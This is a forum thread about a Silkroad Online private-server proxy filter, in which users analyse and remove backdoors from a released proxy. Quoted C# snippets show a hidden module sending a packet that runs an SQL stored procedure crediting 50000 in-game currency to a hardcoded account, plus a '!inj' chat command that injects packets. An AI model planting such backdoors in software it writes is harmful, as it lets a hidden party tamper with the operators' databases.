You last visited: Today at 02:32
Advertisement
SR_PROXY inject exploit fixed
Discussion on SR_PROXY inject exploit fixed within the SRO PServer Guides & Releases forum part of the SRO Private Server category.
04/03/2020, 20:53
#31
elite*gold: 0
Join Date: Jul 2008
Posts: 874
Received Thanks: 238
SR_Module
was designed to excute the exploit
Code:
Settings.MAIN.richTextBox2.AppendText(Environment.NewLine + "SECURITY MODULE ID VERIFIED [" + incpacket.ReadAscii() + "]");
Packet packet = new Packet(ushort.Parse(Settings.MAIN.textBox_91.Text, NumberStyles.HexNumber));
packet.WriteAscii("EXEC CGI.CGI_WebPurchaseSilk 58493423,'sapir1010',342332432,50000,1343134");
Security.Send(packet);
ASYNC_SEND_TO_SERVER();
04/03/2020, 21:12
#32
elite*gold: 0
Join Date: May 2018
Posts: 244
Received Thanks: 119
Quote:
Originally Posted by
abdoumatrix
SR_Module
was designed to excute the exploit
Code:
Settings.MAIN.richTextBox2.AppendText(Environment.NewLine + "SECURITY MODULE ID VERIFIED [" + incpacket.ReadAscii() + "]");
Packet packet = new Packet(ushort.Parse(Settings.MAIN.textBox_91.Text, NumberStyles.HexNumber));
packet.WriteAscii("EXEC CGI.CGI_WebPurchaseSilk 58493423,'sapir1010',342332432,50000,1343134");
Security.Send(packet);
ASYNC_SEND_TO_SERVER();
true but the another packet can execute a sql query .
04/05/2020, 14:02
#33
elite*gold: 0
Join Date: Feb 2010
Posts: 57
Received Thanks: 19
throw a working .dll
04/05/2020, 14:20
#34
elite*gold: 0
Join Date: Jul 2008
Posts: 874
Received Thanks: 238
Any one know what is the use for this?
Code:
if (Message_content.ToLower() == "!inj")
{
Packet p = new Packet(0x30EF);
p.WriteByte(0);
p.WriteByte(0x9C);
p.WriteByte(0);
p.WriteByte(0);
p.WriteByte(0);
LOCAL_SECURITY.Send(p);
AG_ASYNC_SEND_TO_CLIENT(CLIENT_SOCKET);
Utils.WriteLine("Packet Injected !!!", Utils.LOG_TYPE.Default);
continue;
}
04/05/2020, 15:23
#35
elite*gold: 0
Join Date: May 2018
Posts: 244
Received Thanks: 119
Quote:
Originally Posted by
abdoumatrix
Any one know what is the use for this?
Code:
if (Message_content.ToLower() == "!inj")
{
Packet p = new Packet(0x30EF);
p.WriteByte(0);
p.WriteByte(0x9C);
p.WriteByte(0);
p.WriteByte(0);
p.WriteByte(0);
LOCAL_SECURITY.Send(p);
AG_ASYNC_SEND_TO_CLIENT(CLIENT_SOCKET);
Utils.WriteLine("Packet Injected !!!", Utils.LOG_TYPE.Default);
continue;
}
its new inject packet
i will update it now
#thread updated
and gm chat too
PHP Code:
if ( Message_content . ToLower () == "!inj" ) { Packet p2 = new Packet ( 12527 ); p2 . method_7 ( 0 ); p2 . method_7 ( 156 ); p2 . method_7 ( 0 ); p2 . method_7 ( 0 ); p2 . method_7 ( 0 ); REMOTE_SECURITY . Send ( p2 ); Utils . WriteLine ( "Packet Injected from GM!!!" ); goto IL_3dc1 ; }
04/05/2020, 16:30
#36
elite*gold: 0
Join Date: Sep 2009
Posts: 134
Received Thanks: 11
*** bless you
There is no welcome message in the game, do you know?
04/05/2020, 18:07
#37
elite*gold: 0
Join Date: Dec 2009
Posts: 386
Received Thanks: 88
Quote:
Originally Posted by
Hercules*
its new inject packet
i will update it now
#thread updated
and gm chat too
PHP Code:
if ( Message_content . ToLower () == "!inj" )
{
Packet p2 = new Packet ( 12527 );
p2 . method_7 ( 0 );
p2 . method_7 ( 156 );
p2 . method_7 ( 0 );
p2 . method_7 ( 0 );
p2 . method_7 ( 0 );
REMOTE_SECURITY . Send ( p2 );
Utils . WriteLine ( "Packet Injected from GM!!!" );
goto IL_3dc1 ;
}
You fixed all backdoors, packets ect. on this filter? This filter now trustful 100%?
04/05/2020, 18:15
#38
elite*gold: 0
Join Date: Oct 2014
Posts: 172
Received Thanks: 38
Hello Sir.
Quote:
Originally Posted by
Hercules*
Sr Prxoy Clean one
Chat Commands cleaned
Inject packets cleaned
Sql execute query packet cleaned
if i have a free time i will fix errors
keep calm its not protected so you can check the source code.
#Update 1
remove chat packet inject
how its works?
send !inj at all chat player or gm
will send packet to ur server
0x30EF AGENT_GUILD_ENTITY_UPDATE_HOSTILITY
maybe you will be disconnected
download new rar from attachment
Sir you have Dll Limit Pc from this for i can use thanks for u work !
04/05/2020, 19:05
#39
elite*gold: 0
Join Date: May 2018
Posts: 244
Received Thanks: 119
Quote:
Originally Posted by
ryaneichner
Sir you have Dll Limit Pc from this for i can use thanks for u work !
try this.
Attached Files
PcLimit.rar
(9.6 KB, 88 views)
04/05/2020, 19:38
#40
elite*gold: 0
Join Date: Jul 2008
Posts: 874
Received Thanks: 238
Quote:
Originally Posted by
Hercules*
Sr Prxoy
#Update 1
remove chat packet inject
how its works?
send !inj at all chat player or gm
will send packet to ur server
0x30EF AGENT_GUILD_ENTITY_UPDATE_HOSTILITY
maybe you will be disconnected
it send the packet to Client
i tried it but nothing happen that why i asked
when 0x30ef is used ?
04/05/2020, 20:47
#41
elite*gold: 0
Join Date: May 2018
Posts: 244
Received Thanks: 119
Quote:
Originally Posted by
abdoumatrix
it send the packet to Client
i tried it but nothing happen that why i asked
when 0x30ef is used ?
idk why he try to send this packet btw if you send it you will get disconnected by SR_GameServer
Quote:
Originally Posted by
mudik
?
yea its safe to use
as i said its open source you can check it up by dnspy
04/05/2020, 21:25
#42
elite*gold: 0
Join Date: Dec 2009
Posts: 386
Received Thanks: 88
Quote:
Originally Posted by
Hercules*
idk why he try to send this packet btw if you send it you will get disconnected by SR_GameServer
yea its safe to use
as i said its open source you can check it up by dnspy
Thanks for your free work !
04/05/2020, 21:45
#43
elite*gold: 0
Join Date: Jul 2008
Posts: 874
Received Thanks: 238
Quote:
Originally Posted by
abdoumatrix
Any one know what is the use for this?
Code:
if (Message_content.ToLower() == "!inj")
{
Packet p = new Packet(0x30EF);
p.WriteByte(0);
p.WriteByte(0x9C);
p.WriteByte(0);
p.WriteByte(0);
p.WriteByte(0);
LOCAL_SECURITY.Send(p);
AG_ASYNC_SEND_TO_CLIENT(CLIENT_SOCKET);
Utils.WriteLine("Packet Injected !!!", Utils.LOG_TYPE.Default);
continue;
}
i found that it is used to show Guild War State above Char
Code:
Packet p = new Packet(0x30EF);//Guild War Icon
p.WriteByte(0);//0 On - 1 OFF
p.WriteUInt(1506);//Guild Id
m_clientSocket.Send(p);
04/06/2020, 02:55
#44
elite*gold: 165
Join Date: Nov 2019
Posts: 231
Received Thanks: 194
Quote:
Originally Posted by
abdoumatrix
i found that it is used to show Guild War State above Char
Code:
Packet p = new Packet(0x30EF);//Guild War Icon
p.WriteByte(0);//0 On - 1 OFF
p.WriteUInt(1506);//Guild Id
m_clientSocket.Send(p);
your progress is perfect , soon u will be one of sro legends
04/06/2020, 04:01
#45
elite*gold: 0
Join Date: May 2010
Posts: 376
Received Thanks: 211
Wow... nice fix guild limit and Silk/hour
Good Job !
All times are GMT +1. The time now is 02:33 .